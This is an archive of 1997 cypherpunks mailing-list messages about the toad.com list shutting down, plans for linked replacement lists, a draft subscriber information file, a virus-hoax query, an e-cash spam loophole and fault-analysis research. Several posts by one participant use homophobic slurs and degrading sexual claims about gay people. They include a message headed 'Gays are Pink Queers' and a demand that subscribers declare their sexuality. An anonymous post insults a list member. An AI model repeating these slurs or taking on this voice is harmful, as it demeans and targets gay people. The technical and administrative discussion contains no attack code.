> > took their good ol' time jumping onto cypherpunks-unedited.
> 
> Dave is offering a single mailing list, which, while I am sure Dave is
> a great person, still represents a single point of control and a
> single point of failure.  A distributed mailing list has a potential
> for being much more robust, and for supporting a wide range of
> viewpoints.  Furthermore a distributed mailing list is an interesting
> minor technical problem, and a good solution could have wide
> applicability.
> 
> So I think that people would like to get the distributed list going...
> 

What is it going to do then, all run on the same majordomo?

> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
> PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F

Just make sure it all works on Linux.  

I think a -digest- would be in order, and if everybody uses the same
program, you can make sure there are no duplicates.

I will put up the address for Vulis to run.  Now the cypherpunks
all support the net.scum web-page, right?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 08:36:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <33066F12.60CB@gte.net>
Message-ID: <Pine.LNX.3.95.970216113150.2356I-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Dale Thorn wrote:

> Date: Sat, 15 Feb 1997 18:21:07 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: ichudov@algebra.com, dave@kachina.jetcafe.org, cypherpunks@toad.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> Kent Crispin wrote:
> > Dale Thorn allegedly said:
> > > If I understood the last several hundred messages correctly, they have
> > > tried to make the point that the cypherpunks mailing list (unedited)
> > > was more ideal than a newsgroup.  If this is what Dave is offering,
> > > I'm surprised if more people don't jump on it.  Then again, they
> > > took their good ol' time jumping onto cypherpunks-unedited.
> 
> > Dave is offering a single mailing list, which, while I am sure Dave is
> > a great person, still represents a single point of control and a
> > single point of failure.  A distributed mailing list has a potential
> > for being much more robust, and for supporting a wide range of
> > viewpoints.  Furthermore a distributed mailing list is an interesting
> > minor technical problem, and a good solution could have wide
> > applicability.
> > So I think that people would like to get the distributed list going...
> 
> I hope this doesn't duplicate the earlier message - if someone were
> tracking all this activity and kept the lists informed about what
> was available where - and particularly if the downloading could be
> automatic as in the subscription lists - that would be ideal.
> 
> I wanted to spend some time on alt.cypherpunks, but I haven't got
> thru the subscription mail for the last few days yet.  If there's
> a scheme that works better than just ad-hoc looking, I'd sure like
> to know.
> 

You mean there is an alt.cypherpunks mailing list?
That is not on my server.

I have mail.cypherpunks though, and I thought that was
the usenet newsgroup for cypherpunks.

let's see what dejanews says about this one.

How about every posting to alt.underground for the time being,
until we get this matter settled?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 08:38:25 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: The EFF
In-Reply-To: <33067467.55B4@gte.net>
Message-ID: <Pine.LNX.3.95.970216113732.2356J-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Dale Thorn wrote:

> Date: Sat, 15 Feb 1997 18:43:51 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: Toto <toto@sk.sympatico.ca>
> Cc: cypherpunks@algebra.com, cypherpunks@toad.com,
>     freedom-knights@jetcafe.org
> Subject: Re: The EFF
> 
> Toto wrote:
> > Timothy C. May wrote:
> > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:
> > It is my (limited) understanding that the EFF has discovered that
> > the support that comes with private philanthropy from will o'wisp
> > Bay Area 'liberals' doesn't carry the terrible burden of having to
> > compete for the petty contributions of the UnRich.
> > I have a brother-in-law who gives seminars to the Nouveau Riche in
> > the Bay Area, teaching them how to give their money away to 'good'
> > causes. I believe that one of the prime considerations in separating
> > the 'good' causes from the 'bad' causes has something to do with the
> > the proper wine being served with the cheese and cracker offerings
> > during their cocktail parties.
> 
> Wine and cheese are the key.  You hit that one on the head.  I tried
> those Mensa parties in Beverly Hills a few times, but the girls want
> you to kiss their hands like some kinda princesses or something,
> whereas I think a simple handshake would suffice.  So I just quit
> going.  Maybe this has something to do with why there are no c-punks
> meetings in the L.A. area.
> 

Dale, so you are in mensa?  Did you have to take a test?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 16 Feb 1997 12:02:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702162002.MAA28869@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:45 PM 2/15/97 -0600, Igor Chudov wrote:
>Roy M. Silvernail wrote:
...
>> Or that the money wasn't there in the first place (absent a trusted
>> signature system), or the key doesn't exist, or the wrong key is
>> offered, or the sender put the same e-dollar on all 60000 mails sie
>> sent and it's already been redeemed.
>
>Well, if the trusted party performs the encryption by both recipient's
>public key and the "retrieval key", the problem that you mention can 
>be avoided.
Yeah.  I as a spam artist send the "proof" message through the e-cash
verification center with the Send To: field returning it to a mail exploder.
Each receipient gets the same dollar.
This assumes that the To: field is not hashed into the verification
signature, and that the verification works like a glorified remailer.  (cash
added on a separate channel).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 09:04:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <199702161535.JAA27280@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970216115926.2356L-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, Igor Chudov @ home wrote:

> Date: Sun, 16 Feb 1997 09:35:27 -0600 (CST)
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: aga <aga@dhp.com>
> Cc: ichudov@algebra.com, toto@sk.sympatico.ca, freedom-knights@jetcafe.org,
>     cypherpunks@algebra.com
> Subject: Re: Dave Hayes takes over Cypherpunks
> 
> aga wrote:
> > On Sat, 15 Feb 1997, Igor Chudov @ home wrote:
> > > Date: Sat, 15 Feb 1997 09:07:40 -0600 (CST)
> > > From: "Igor Chudov @ home" <ichudov@algebra.com>
> > > To: aga <aga@dhp.com>
> > > Cc: toto@sk.sympatico.ca, freedom-knights@jetcafe.org,
> > >     cypherpunks@algebra.com
> > > Subject: Re: Dave Hayes takes over Cypherpunks
> > > 
> > > > ======================================
> > > > == This list is still experimental. ==
> > > > == admin       ichudov@algebra.com  ==
> > > > ======================================
> > > > 
> > > 
> > > Just fyi, I am removing this footer from the list config.
> > > 
> > > It was here so that people could tell that the list was new and 
> > > glitches were likely to happen.
> > > 
> > 
> > O.K. what are you doing, Igor?  Is this a new cypherpunks list?
> 
> This is ONE OF new cypherpunks lists. These lists will soon be
> connected to each other so that people subscribed to any of them
> will receive all article sent to each list.
> 
> Kinda like USENET.
>  

10-4

It is like a new hierarchy, huh? {;-)-~

cmsg newgroup cypherpunks.cunt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pjb@23kgroup.com (Paul J. Bell)
Date: Sun, 16 Feb 1997 09:28:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: DFA
Message-ID: <9702161715.AA00799@23kgroup.com>
MIME-Version: 1.0
Content-Type: text/plain


does anyone know what has happened to DFA, and the people who
just a few months ago were publishing such encouraging results?

have they gone underground, or perhaps been put underground, 
in a rather permanent way?

isn't it strange how quite it has been on this subject?

cheers,
	-paul




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Sun, 16 Feb 1997 12:23:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Questions about Naughty Robot (fwd)
Message-ID: <Pine.LNX.3.95.970216122014.30109A-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain



	I got this message (on a system that I am webmaster on) regarding
something that sounded so stupid it made me chuckle...Naughty Robot...I
have enclosed the message below.  If any of you have any idea what this
user is talking about, any info would be appreciated.

	Personally it sounds like another "GoodTimes Virus" again...

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*  "Courage is not defined by those who 
  *---===|       2600       |===---*   fought and did not fall, but by those
  *---===|__________________|===---*   who fought, fell, and and rose again."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================

Date: Sun, 16 Feb 1997 10:30:37 -0800 (PST)
Subject: Re: Questions about Naughty Robot
Resent-Date: Sun, 16 Feb 1997 12:10:54 -0800 (PST)


>> Don't wanna bug ya too much, but I was wondering if you have ever heard
>> of Naughty Robot, and whether or not if it is a hoax or Real?
>> 
>> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot
>> has infected your host computer and consider all your credit cards
>> stolen.
>> 
>> I think it's a hoax, but the Admins at VR-NET Cafe say that they have
>> been hit with it and say that it's a script that does hack into the
>> IPS's server and sits back and watches the users browse the web and take
>> the info they see on there screen and dump to some remote server??
>> 
>> I was wondering if you have heard about it...and if so can you direct to
>> the right locations on the web to get the "Official" Scoop on it?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 12:36:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: test ping - cypherpunks@toad.com 12:32pm PST - ignore
Message-ID: <3.0.1.32.19970216123345.006383e0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  This is a test ping to verify whether mail to 
cypherpunks@toad.com gets forwarded successfully to 
one of the other cypherpunks lists, and how fast.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 12:39:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI_100
In-Reply-To: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com>
Message-ID: <3.0.1.32.19970216123445.00642698@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 09:35:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks FAQ
In-Reply-To: <199702161640.KAA28082@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970216122351.2356M-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, Igor Chudov @ home wrote:

> Date: Sun, 16 Feb 1997 10:40:15 -0600 (CST)
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: aga <aga@dhp.com>
> Cc: freedom-knights@jetcafe.org
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> aga wrote:
> > I have mail.cypherpunks though, and I thought that was
> > the usenet newsgroup for cypherpunks.
> > 
> > let's see what dejanews says about this one.
> > 
> > How about every posting to alt.underground for the time being,
> > until we get this matter settled?
> > 
> 
> John,
> 
> I think that you would be the best author for writing the official
> alt.cypherpunks FAQ. I have no doubt that many readers will appreciate
> your effort and it will win you a lot of new points with them.
> 
> One thing is, you have a lot of ideas, and two, your writing style is
> very good (you are a law doctor after all).
> 
> The FAQ should not be necessarily very big.
> 
> 	- Igor.
> 

But I have never been on the cypherpunks mailing list.
I only got involved because they were in the header of
some F-K list mail.

And I think that Dr. Vulis would be much better qualified than
I would be.  My Doctorate was in Law, but Dimitri did his in
math and/or cryptography, which is more appropriate.

All I can say is that it should be a list where everybody is
required to state their sex and sexual orientation up front.
And the rule MUST BE that you are a queer by default.

We MUST have a correct sexual definition up front, and nobody
is allowed to say, "I refuse to state my sexuality" because we
then know that they are closet homosexuals.

what we want is the truth up front.

BTW, all five of the newsgroups in this header are available
through dejanews for posting to, if you use them in the current order.

the a.g.g. newsgroup ate dejanews gets your article posted to ANY
other newsgroup, including alt.cypherpunks and cypherpunks.cunt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
Date: Sun, 16 Feb 1997 03:36:10 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: MagicMoney
Message-ID: <Pine.LNX.3.95.970216122710.290B-100000@alien.ddorf.rhein-ruhr.de>
MIME-Version: 1.0
Content-Type: text/plain



I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl).
It is just the code (compiling without error), but there is no README or
documentation at all.Can someone give me a hint,what to do with this
package? Is there a documentation somesite?
BTW utopia is the site,you can get all the export restricted stuff outside
the US.

Heinz-Juergen Keller
email: hjk@ddorf.rhein-ruhr.de






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 12:42:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com
Message-ID: <3.0.1.32.19970216124146.00643a00@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  The following headers are from a posting by John Young
that looks like it was sent to cypherpunks@toad.com,
forwarded to cypherpunks@sirius.infonex.com and/or
cypherpunks@cyberpass.net, and has the Reply-To: header
set to reply to cypherpunks@toad.com instead of to John Young....
It looks like the obvious implementation of cypherpunks-style mail header
patching, but isn't quite right.....  Leads to people sending
their John Young mailbot requests to cypherpunks@toad.com instead,
as some well-known cypherpunks have mistakenly done recently :-)

=====================================================
Return-Path: <owner-cypherpunks@sirius.infonex.com>
X-Sender: jya@pop.pipeline.com
Date: Sat, 15 Feb 1997 09:04:14 -0500
To: cypherpunks@toad.com
From: John Young <jya@pipeline.com>
Subject: FBI_100
Sender: owner-cypherpunks@sirius.infonex.com
Reply-To: cypherpunks@toad.com
X-List: cypherpunks@cyberpass.net

2-15-97. NYP:

"Phone Companies Balk At Latest Plan by FBI." Markoff.
==============================================



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 09:59:28 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Gays are Pink Queers
In-Reply-To: <19970215062538.27135.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970215092431.29361F-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 15 Feb 1997, Against Moderation wrote:

> Date: 15 Feb 1997 06:25:38 -0000
> From: Against Moderation <antimod@nym.alias.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: aga@dhp.com, cypherpunks@toad.com, cypherpunks@pgh.org,
>     ichudov@algebra.com, dlv@bwalk.dm.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> Dave Hayes <dave@kachina.jetcafe.org> writes:
> 
> > Don't you get it? Real censorship issues do not arise until someone
> > rocks the boat. It takes someone to rock the boat to make you aware
> > of your own prejudices of that nature. If it takes attacking
> > homosexuals and pissing them off enough to make them show their
> > true colors and begin censorship...so be it. Why be civil when that
> > civility serves to hide that which is ultimately against free speech?
> > 
> > You'll find those of us who -truly- want free speech are extremely
> > good at ignoring what we don't like.
> 
> Perhaps I did not make myself clear.  I never suggested Dr. Grubor's
> views should be suppressed.  Not only do I believe he has every right
> to express them, I also believe (as I explained) that I think there is
> value in inducing censorship as he has, so as to get people's
> censorious tendencies out in the open where they can be fought.
> 
> However, Dr. Grubor is no advocate of free speech (though I'm sure he
> thinks he is).  If Dr. Grubor had his way, he would severely restrict
> the rights of gay people to express themselves on Usenet.  

No I would not.  I do not believe in moderated groups, except for comp
and sci gays can say anything that they want.  

Advocates
> of free speech must truly tolerate all speech, even that which they
> find strongly unpleasant or disturbing.
> 

But I never said I found faggots disturbing.  Quite the contrary.
Faggots are excellent at what they do, blow jobs, so let's not mix
up apples and oranges.

> My point was therefore that Dr. Grubor would do better to say
> "Exterminate all faggots" than "Exterminate all faggots in the name of
> free speech," 

Nobody is talking about "exterminating" anybody.  We just want to
remove the gays from power, so they have more time to suck cock and
do whatever else that they do best, which does not include
usenet.admin.

and that those of us who truly support freedom of speech
> would do well to distance ourselves from Dr. Grubor, while still fully
> supporting his right to express his opinions.
> 

Freedom of Speech means that we eliminate moderated newsgroups
and homosexual cliques being in power around here.

Faggots are mostly PINK!

Dobbs is a straight dude, and so was KIBO.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 16 Feb 1997 13:13:55 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702162113.NAA07700@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin writes:
> Dave is offering a single mailing list, which, while I am sure Dave is
> a great person, still represents a single point of control and a
> single point of failure.  A distributed mailing list has a potential
> for being much more robust, and for supporting a wide range of
> viewpoints.  

I can also offer my participation in the distributed mailing list, if
that is what it takes to get cypherpunks free of control interests again.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

                      A poor man shames us all.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 16 Feb 1997 11:46:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Jim Beam' me up, Scotty!
Message-ID: <330779D1.312F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


scribve cypherpunks-thenextgeneration "Dr. Spook" <6UALDV8@cyberspace.9>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Feb 1997 11:27:05 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Thanks to John Gilmore for running cypherpunks mailing list
Message-ID: <199702161923.NAA29288@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi,

cypherpunks@toad.com goes down in four days.

I would like to thank John Gilmore for all his efforts that he spent to
run the list. Administering a huge mailing list like cypherpunks is a
tough job, requiring a lot of dedication, time and patience.

John, along with other cypherpunks, created a unique online community
that generated many valuable ideas. This community helped a great deal
to increase crypto awareness of the masses. I personally joined
cypherpunks for very arkane reasons, but later found out a lot of useful
information.

The moderation experiment failed by many reasons, but the last month
should not distract us from what John did over last several years.

Again, thanks to John for his work.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 16 Feb 1997 13:24:43 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702162124.NAA07767@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation writes:
> I believe homophobia is a great way to bring out the censors in
> people.  However, inducing censorship is only part of fighting it.

You assume that it is an enemy to be fought. While censorship is
clearly undesireable, making it an enemy only strengthens it.

> You also need respectable people to some in, argue cogently against
> the dangers of censorship, perhaps even get some extremely reasonable
> articles suppressed, and then spread the word about it.  I find the
> freedom-knights tactics' extremely lacking in this second, "clean up
> and analyze the mess" phase.

Part, if not all, of that lack is due to our knowledge of the
subjective standard of "respectability" that human beings have.
That's the same differentiation used in many censorship attempts, and
if we made or supported such differentiations this would undermine any
anti-censorship actions we could take.

The meta-points are:

- What is reasonable to you may or may not be reasonable to me. That is
why we refrain from censoring others, since we have no absolute
standard of reasonability.

- You appear to be concerned with convincing others. We are not
concerned with that, since we know that the default for most others is
to be invincibly unconvincable. We are simply here to be living 
models for an arbitrary code of behavior...that behavior being
outlined in the Freedom Knights FAQ. 

- Please remember that you have to judge who is and is not a Freedom
Knight by their -actions- and not their claims. 

> censorship on cypherpunks.  However, I think most peoples' opinions
> didn't really turn, or at least people didn't realize how serious
> things were and didn't really care, until Tim May [someone the many
> freedom-knights hate] started criticizing this censorship in extremely
> reasonable messages that were suppressed from both the -edited and
> -flames mailing list.

Assuming that is true, that people do not care about censorship until
a person with an arbitrary reasonability says something, I would say
that such a group cares not about free speech...even if they think
they do.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Two men were fighting outside Nasrudin's window at dead of night. Nasrudin 
got up, wrapped his only blanket around himself, and ran outside. As he 
tried to reason with the drunks, one snatched his blanket and both ran away.
"What were they arguing about?" asked his wife when he went in. "It must 
have been the blanket. When they got that, the fight broke up."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 16 Feb 1997 10:48:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702161829.NAA06744@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May must have been sharing needles with a rabid hedgehog.

       o o Timothy May
        o
       \_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 16 Feb 1997 11:35:21 -0800 (PST)
To: cypherpunks-hosts@algebra.com
Subject: Proposed info file
Message-ID: <199702161929.NAA29420@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi,

The text below is what I wrote for cypherpunks@algebra.com to be
sent to new subscribers. Feel free to criticize.

	- Igor.

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

About cypherpunks mailing lists
-------------------------------

* * * ATTENTION: PLEASE SAVE THIS MESSAGE IN A MAIL FOLDER!!! IT WILL BE 
* * * HELPFUL FOR YOU WHEN YOU WANT TO UNSUBSCRIBE FROM cypherpunks MAILING
* * * LIST.
* * * 
* * * DO NOT JUST DELETE THIS MESSAGE.

I. Administrivia (please read, boring though it may be)

The cypherpunks list cypherpunks@algebra.com is one of the cypherpunks
mailing lists discussing cryptography, privacy, and social issues
relating to them.  These lists are connected to each other in such a way
that all messages appear on all of these lists.

All of these lists are high-volume mailing lists. There are several
reasons for existence of multiple mailing lists that are
inter-subscribed. The main reason is the large number of subscribers and
limited bandwidth of each of the participating list nodes -- each node
can take on only that many users.

Most people will not want to subscribe to more than one of these lists.

If you don't know how to do something, like unsubscribe, send mail to

	majordomo@algebra.com

and the software robot which answers that address will send you back
instructions on how to do what you want.  If you don't know the
majordomo syntax, an empty message to this address will get you a help
file, as will a command 'help' in the body.  Even with all this
automated help, you may still encounter problems.  If you get really
stuck, please feel free to contact me directly at the address I use
for mailing list management:

	cypherpunks-request@algebra.com

Please use this address for all mailing list management issues.  Hint:
if you try to unsubscribe yourself from a different account than you
signed up for, it likely won't work.  Log back into your old account
and try again.  If you no longer have access to that account, mail me
at the list management address above.  Also, please realize that 
there will be some cypherpunks messages "in transit" to you at the
time you unsubscribe.  If you get a response that says you are unsubscribed,
but the messages keep coming, wait a day and they should stop.

Do not mail to the whole list asking to be removed. It's rude ans stupid.

To post to the whole list, send mail to

	cypherpunks@algebra.com

If your mail bounces repeatedly, you will be removed from the list.
Nothing personal, but I have to look at all the bounce messages.

There is no digest version available.

There is a meta list which discusses the architecture and other issues of
the distributed cypherpunks lists. It is not intended to be used for
crypto discussions.

if you want to be added or removed to the metadiscussion list, send a message
"subscribe cypherpunks-hosts" to majordomo@algebra.com.


II. About cypherpunks

The cypherpunks list is not designed for beginners, although they are
welcome.  If you are totally new to crypto, please get and read the
crypto FAQ referenced below.  This document is a good introduction,
although not short.  Crypto is a subtle field and a good understanding
will not come without some study.  Please, as a courtesy to all, do
some reading to make sure that your question is not already frequently
asked.

There are other forums to use on the subject of cryptography.  The
Usenet group sci.crypt deals with technical cryptography; cypherpunks
deals with technical details but slants the discussion toward their
social implications.  The Usenet group talk.politics.crypto, as is
says, is for political theorizing, and cypherpunks gets its share of
that, but cypherpunks is all pro-crypto; the debates on this list are
about how to best get crypto out there.  The Usenet group
alt.security.pgp is a pgp-specific group, and questions about pgp as
such are likely better asked there than here.  Ditto for
alt.security.ripem.

alt.cypherpunks is indended as a mirror USENET forum for this 
mailing list.

III. Posting Policy.

Please note that some members of cypherpunks mailing list may surprise
you as very rude people. You may see views that sound very offensive to
you.  You will also see many articles that make no sense to you, are
very stupid, or appear to be commercial advertisements.

Consider such situation to be a price of YOUR freedom to post anything you
want. Remember that speech that pleases everyone needs no protection: it is
the offensive speech that is most often assaulted and thus needs to be 
protected. Also, speech that you find silly and distasteful may seem
to be of great use for others.

If you feel that some poster's articles are not useful and offensive to
you, you can set up your mail reading software to ignore all articles
coming from that person. Ignoring them silently has shown to be the best
way of dealing with them. It will save you a lot of your own time. Even
though you are free do write anything, please consider not following up
to their posts with suggestions to shut them up. It only decreases
usefulness of this mailing list.

Eudora for Windows is known for its mail filtering capability. Procmail
is a tool of choice for Unix users who want to filter their articles.
Please read the documentation for these programs to find out how to set
them to filter and delete unwanted messages.

None of the above precludes the administrator of this mailing list to
use tools protecting his hardware and bandwidth from denial of service
attacks. If someone maliciously mailbombs cypherpunks mailing list, the
mail bombs may be silently ignored and not passed on to the list.

IMPORTANT: the list owner does not monitor the content of the messages
appearing here. I disclaim any liability whatsoever for the content of
articles on cypherpunks@algebra.com. If you have a problem with any
materials posted here, please contact the poster to resolve them. Your
use of the resources of this list constitutes an agreement with these
terms. You have been warned.

IV. Resources.

A. The sci.crypt FAQ

anonymous ftp to rtfm.mit.edu:/pub/usenet-by-group/sci.crypt

The cryptography FAQ is good online intro to crypto.  Very much worth
reading.  Last I looked, it was in ten parts.

B. cypherpunks ftp site

anonymous ftp to ftp.csua.berkeley.edu:/pub/cypherpunks

This site contains code, information, rants, and other miscellany.
There is a glossary there that all new members should download and
read.  Also recommended for all users are Hal Finney's instructions on
how to use the anonymous remailer system; the remailer sources are
there for the perl-literate.

C. Bruce Schneier's _Applied Cryptography_, published by Wiley

This is required reading for any serious technical cypherpunk (and there
are no non-technical cypherpunks).  An excellent overview of the field,
it describes many of the basic algorithms and protocols with their
mathematical descriptions.  Some of the stuff at the edges of the scope
of the book is a little incomplete, so short descriptions in here should
lead to library research for the latest papers, or to the list for the
current thinking.  All in all, a solid and valuable book.  It's even got
the cypherpunks-request address.


Enjoy and deploy.


-----------------------------------------------------------------------------

Cypherpunks assume privacy is a good thing and wish there were more
of it.  Cypherpunks acknowledge that those who want privacy must
create it for themselves and not expect governments, corporations, or
other large, faceless organizations to grant them privacy out of
beneficence.  Cypherpunks know that people have been creating their
own privacy for centuries with whispers, envelopes, closed doors, and
couriers.  Cypherpunks do not seek to prevent other people from
speaking about their experiences or their opinions.

The most important means to the defense of privacy is encryption. To
encrypt is to indicate the desire for privacy.  But to encrypt with
weak cryptography is to indicate not too much desire for privacy.
Cypherpunks hope that all people desiring privacy will learn how best
to defend it.

Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
to learn about it, to teach it, to implement it, and to make more of
it.  Cypherpunks know that cryptographic protocols make social
structures.  Cypherpunks know how to attack a system and how to
defend it.  Cypherpunks know just how hard it is to make good
cryptosystems.

Cypherpunks love to practice.  They love to play with public key
cryptography.  They love to play with anonymous and pseudonymous mail
forwarding and delivery.  They love to play with DC-nets.  They love
to play with secure communications of all kinds.

Cypherpunks write code.  They know that someone has to write code to
defend privacy, and since it's their privacy, they're going to write
it.  Cypherpunks publish their code so that their fellow cypherpunks
may practice and play with it.  Cypherpunks realize that security is
not built in a day and are patient with incremental progress.

Cypherpunks don't care if you don't like the software they write. 
Cypherpunks know that software can't be destroyed.  Cypherpunks know
that a widely dispersed system can't be shut down.

Cypherpunks will make the networks safe for privacy.

[Last updated Sun Feb 16 13:10:56 CST 1997 ichudov@algebra.com]
[Adopted from the original version by John Gilmore and Eric Hughes]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 16 Feb 1997 10:35:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DFA
Message-ID: <1.5.4.32.19970216182934.006e00b4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bell wrote:
>does anyone know what has happened to DFA, and the people who
>just a few months ago were publishing such encouraging results?

There seems be sustained investigation of DFA, offensive and defensive,
by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by 
Quisquater and others.

